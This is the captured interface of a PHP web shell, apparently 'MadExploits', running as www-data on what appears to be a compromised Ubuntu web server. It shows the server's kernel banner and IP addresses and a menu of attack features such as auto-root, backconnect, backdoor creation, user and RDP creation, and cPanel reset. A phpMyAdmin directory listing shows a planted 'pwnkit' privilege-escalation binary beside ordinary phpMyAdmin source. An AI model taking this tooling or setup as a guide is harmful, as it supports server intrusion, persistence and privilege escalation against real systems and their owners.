Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 3.140.196.3
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
restaurants /
var /
phpmyadmin /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
Advisory
[ DIR ]
drwxr-xr-x
Bookmarks
[ DIR ]
drwxr-xr-x
Charsets
[ DIR ]
drwxr-xr-x
Command
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
ConfigStorage
[ DIR ]
drwxr-xr-x
Container
[ DIR ]
drwxr-xr-x
Controllers
[ DIR ]
drwxr-xr-x
Crypto
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Dbal
[ DIR ]
drwxr-xr-x
Display
[ DIR ]
drwxr-xr-x
Engines
[ DIR ]
drwxr-xr-x
Error
[ DIR ]
drwxr-xr-x
Exceptions
[ DIR ]
drwxr-xr-x
Export
[ DIR ]
drwxr-xr-x
Favorites
[ DIR ]
drwxr-xr-x
Gis
[ DIR ]
drwxr-xr-x
Html
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Identifiers
[ DIR ]
drwxr-xr-x
Image
[ DIR ]
drwxr-xr-x
Import
[ DIR ]
drwxr-xr-x
Navigation
[ DIR ]
drwxr-xr-x
Partitioning
[ DIR ]
drwxr-xr-x
Plugins
[ DIR ]
drwxr-xr-x
Properties
[ DIR ]
drwxr-xr-x
Providers
[ DIR ]
drwxr-xr-x
Query
[ DIR ]
drwxr-xr-x
Replication
[ DIR ]
drwxr-xr-x
Routing
[ DIR ]
drwxr-xr-x
Server
[ DIR ]
drwxr-xr-x
Setup
[ DIR ]
drwxr-xr-x
Table
[ DIR ]
drwxr-xr-x
Theme
[ DIR ]
drwxr-xr-x
Tracking
[ DIR ]
drwxr-xr-x
Triggers
[ DIR ]
drwxr-xr-x
Twig
[ DIR ]
drwxr-xr-x
Utils
[ DIR ]
drwxr-xr-x
WebAuthn
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
Application.php
6.31
KB
-rw-r--r--
BrowseForeigners.php
10.24
KB
-rw-r--r--
Cache.php
1.44
KB
-rw-r--r--
Charsets.php
7.08
KB
-rw-r--r--
Column.php
363
B
-rw-r--r--
ColumnFull.php
500
B
-rw-r--r--
Config.php
38.1
KB
-rw-r--r--
Console.php
3.14
KB
-rw-r--r--
Core.php
22.22
KB
-rw-r--r--
CreateAddField.php
14.6
KB
-rw-r--r--
Current.php
228
B
-rw-r--r--
DatabaseInterface.php
66.01
KB
-rw-r--r--
DbTableExists.php
1.4
KB
-rw-r--r--
EditField.php
495
B
-rw-r--r--
Encoding.php
7.97
KB
-rw-r--r--
FieldMetadata.php
10.64
KB
-rw-r--r--
File.php
19.72
KB
-rw-r--r--
FileListing.php
3.04
KB
-rw-r--r--
FlashMessages.php
1.23
KB
-rw-r--r--
Font.php
4.26
KB
-rw-r--r--
Footer.php
6.82
KB
-rw-r--r--
Git.php
18.5
KB
-rw-r--r--
Header.php
19.81
KB
-rw-r--r--
Index.php
14.45
KB
-rw-r--r--
IndexColumn.php
4.7
KB
-rw-r--r--
InsertEdit.php
73.25
KB
-rw-r--r--
InsertEditColumn.php
1.96
KB
-rw-r--r--
InternalRelations.php
17
KB
-rw-r--r--
IpAllowDeny.php
9
KB
-rw-r--r--
Language.php
4.12
KB
-rw-r--r--
LanguageManager.php
22.27
KB
-rw-r--r--
Linter.php
4.89
KB
-rw-r--r--
ListDatabase.php
4.93
KB
-rw-r--r--
Logging.php
2.79
KB
-rw-r--r--
Menu.php
19.9
KB
-rw-r--r--
Message.php
14.58
KB
-rw-r--r--
Mime.php
893
B
-rw-r--r--
Normalization.php
39.54
KB
-rw-r--r--
OpenDocument.php
8.78
KB
-rw-r--r--
Operations.php
34.63
KB
-rw-r--r--
ParseAnalyze.php
2.23
KB
-rw-r--r--
Pdf.php
3.89
KB
-rw-r--r--
Plugins.php
22.28
KB
-rw-r--r--
Profiling.php
2.17
KB
-rw-r--r--
Release.php
298
B
-rw-r--r--
ResponseRenderer.php
13.03
KB
-rw-r--r--
Sanitize.php
8.62
KB
-rw-r--r--
Scripts.php
3.7
KB
-rw-r--r--
Session.php
7.88
KB
-rw-r--r--
ShowGrants.php
2.06
KB
-rw-r--r--
Sql.php
60.06
KB
-rw-r--r--
SqlQueryForm.php
6.93
KB
-rw-r--r--
StorageEngine.php
15.08
KB
-rw-r--r--
SystemColumn.php
267
B
-rw-r--r--
SystemDatabase.php
4.62
KB
-rw-r--r--
Template.php
3.98
KB
-rw-r--r--
Transformations.php
17.2
KB
-rw-r--r--
TwoFactor.php
7.61
KB
-rw-r--r--
Types.php
23.88
KB
-rw-r--r--
UniqueCondition.php
8.26
KB
-rw-r--r--
Url.php
10.54
KB
-rw-r--r--
UrlRedirector.php
1.43
KB
-rw-r--r--
UserPassword.php
8.25
KB
-rw-r--r--
UserPreferences.php
10.22
KB
-rw-r--r--
UserPrivileges.php
520
B
-rw-r--r--
UserPrivilegesFactory.php
8.61
KB
-rw-r--r--
Util.php
68.74
KB
-rw-r--r--
Version.php
554
B
-rw-r--r--
VersionInformation.php
7.18
KB
-rw-r--r--
ZipExtension.php
10.01
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : IpAllowDeny.php
<?php /** * This library is used with the server IP allow/deny host authentication * feature */ declare(strict_types=1); namespace PhpMyAdmin; use function bin2hex; use function dechex; use function explode; use function hash_equals; use function hexdec; use function inet_pton; use function ip2long; use function mb_strtolower; use function mb_substr; use function min; use function preg_match; use function str_contains; use function str_replace; use function substr_replace; /** * PhpMyAdmin\IpAllowDeny class */ class IpAllowDeny { private readonly Config $config; public function __construct() { $this->config = Config::getInstance(); } /** * Matches for IPv4 or IPv6 addresses * * @param string $testRange string of IP range to match * @param string $ipToTest string of IP to test against range */ public function ipMaskTest(string $testRange, string $ipToTest): bool { if (str_contains($testRange, ':') || str_contains($ipToTest, ':')) { // assume IPv6 return $this->ipv6MaskTest($testRange, $ipToTest); } return $this->ipv4MaskTest($testRange, $ipToTest); } /** * Based on IP Pattern Matcher * Originally by J.Adams <jna@retina.net> * Found on <https://www.php.net/manual/en/function.ip2long.php> * Modified for phpMyAdmin * * Matches: * xxx.xxx.xxx.xxx (exact) * xxx.xxx.xxx.[yyy-zzz] (range) * xxx.xxx.xxx.xxx/nn (CIDR) * * Does not match: * xxx.xxx.xxx.xx[yyy-zzz] (range, partial octets not supported) * * @param string $testRange string of IP range to match * @param string $ipToTest string of IP to test against range */ public function ipv4MaskTest(string $testRange, string $ipToTest): bool { $result = true; $match = preg_match('|([0-9]+)\.([0-9]+)\.([0-9]+)\.([0-9]+)/([0-9]+)|', $testRange, $regs); if ($match) { // performs a mask match $ipl = ip2long($ipToTest); $rangel = ip2long($regs[1] . '.' . $regs[2] . '.' . $regs[3] . '.' . $regs[4]); $maskl = 0; /** @infection-ignore-all */ for ($i = 0; $i < 31; $i++) { if ($i >= $regs[5] - 1) { continue; } $maskl += 2 ** (30 - $i); } return ($maskl & $rangel) === ($maskl & $ipl); } // range based $maskocts = explode('.', $testRange); $ipocts = explode('.', $ipToTest); // perform a range match for ($i = 0; $i < 4; $i++) { if (preg_match('|\[([0-9]+)\-([0-9]+)\]|', $maskocts[$i], $regs)) { if ($ipocts[$i] > $regs[2] || $ipocts[$i] < $regs[1]) { $result = false; } } elseif ($maskocts[$i] !== $ipocts[$i]) { $result = false; } } return $result; } /** * IPv6 matcher * CIDR section taken from https://stackoverflow.com/a/10086404 * Modified for phpMyAdmin * * Matches: * xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx * (exact) * xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:[yyyy-zzzz] * (range, only at end of IP - no subnets) * xxxx:xxxx:xxxx:xxxx/nn * (CIDR) * * Does not match: * xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xx[yyy-zzz] * (range, partial octets not supported) * * @param string $testRange string of IP range to match * @param string $ipToTest string of IP to test against range */ public function ipv6MaskTest(string $testRange, string $ipToTest): bool { $result = true; // convert to lowercase for easier comparison $testRange = mb_strtolower($testRange); $ipToTest = mb_strtolower($ipToTest); $isCidr = str_contains($testRange, '/'); $isRange = str_contains($testRange, '['); $isSingle = ! $isCidr && ! $isRange; $ipHex = bin2hex((string) inet_pton($ipToTest)); if ($isSingle) { $rangeHex = bin2hex((string) inet_pton($testRange)); return hash_equals($ipHex, $rangeHex); } if ($isRange) { // what range do we operate on? $rangeMatch = []; $match = preg_match('/\[([0-9a-f]+)\-([0-9a-f]+)\]/', $testRange, $rangeMatch); if ($match) { $rangeStart = $rangeMatch[1]; $rangeEnd = $rangeMatch[2]; // get the first and last allowed IPs $firstIp = str_replace($rangeMatch[0], $rangeStart, $testRange); $firstHex = bin2hex((string) inet_pton($firstIp)); $lastIp = str_replace($rangeMatch[0], $rangeEnd, $testRange); $lastHex = bin2hex((string) inet_pton($lastIp)); // check if the IP to test is within the range $result = $ipHex >= $firstHex && $ipHex <= $lastHex; } return $result; } if ($isCidr) { // Split in address and prefix length [$firstIp, $subnet] = explode('/', $testRange); // Parse the address into a binary string $firstBin = inet_pton($firstIp); $firstHex = bin2hex((string) $firstBin); $flexbits = 128 - (int) $subnet; // Build the hexadecimal string of the last address $lastHex = $firstHex; $pos = 31; while ($flexbits > 0) { // Get the character at this position $orig = mb_substr($lastHex, $pos, 1); // Convert it to an integer $origval = hexdec($orig); // OR it with (2^flexbits)-1, with flexbits limited to 4 at a time $newval = $origval | 2 ** min(4, $flexbits) - 1; // Convert it back to a hexadecimal character $new = dechex($newval); // And put that character back in the string $lastHex = substr_replace($lastHex, $new, $pos, 1); // We processed one nibble, move to previous position /** @infection-ignore-all */ $flexbits -= 4; --$pos; } // check if the IP to test is within the range $result = $ipHex >= $firstHex && $ipHex <= $lastHex; } return $result; } /** * Runs through IP Allow rules the use of it below for more information * * @see Core::getIp() */ public function allow(): bool { return $this->allowDeny('allow'); } /** * Runs through IP Deny rules the use of it below for more information * * @see Core::getIp() */ public function deny(): bool { return $this->allowDeny('deny'); } /** * Runs through IP Allow/Deny rules the use of it below for more information * * @see Core::getIp() * * @param string $type 'allow' | 'deny' type of rule to match */ private function allowDeny(string $type): bool { // Grabs true IP of the user and returns if it can't be found $remoteIp = Core::getIp(); if ($remoteIp === '' || $remoteIp === false) { return false; } // copy username $username = $this->config->selectedServer['user']; // copy rule database $rules = $this->config->selectedServer['AllowDeny']['rules']; // lookup table for some name shortcuts $shortcuts = ['all' => '0.0.0.0/0', 'localhost' => '127.0.0.1/8']; // Provide some useful shortcuts if server gives us address: if (Core::getEnv('SERVER_ADDR') !== '') { $shortcuts['localnetA'] = Core::getEnv('SERVER_ADDR') . '/8'; $shortcuts['localnetB'] = Core::getEnv('SERVER_ADDR') . '/16'; $shortcuts['localnetC'] = Core::getEnv('SERVER_ADDR') . '/24'; } foreach ($rules as $rule) { // extract rule data $ruleData = explode(' ', $rule); // check for rule type if ($ruleData[0] !== $type) { continue; } // check for username if ( $ruleData[1] !== '%' //wildcarded first && ! hash_equals($ruleData[1], $username) ) { continue; } // check if the config file has the full string with an extra // 'from' in it and if it does, just discard it if ($ruleData[2] === 'from') { $ruleData[2] = $ruleData[3]; } // Handle shortcuts with above array if (isset($shortcuts[$ruleData[2]])) { $ruleData[2] = $shortcuts[$ruleData[2]]; } // Add code for host lookups here // Excluded for the moment // Do the actual matching now if ($this->ipMaskTest($ruleData[2], $remoteIp)) { return true; } } return false; } }
Close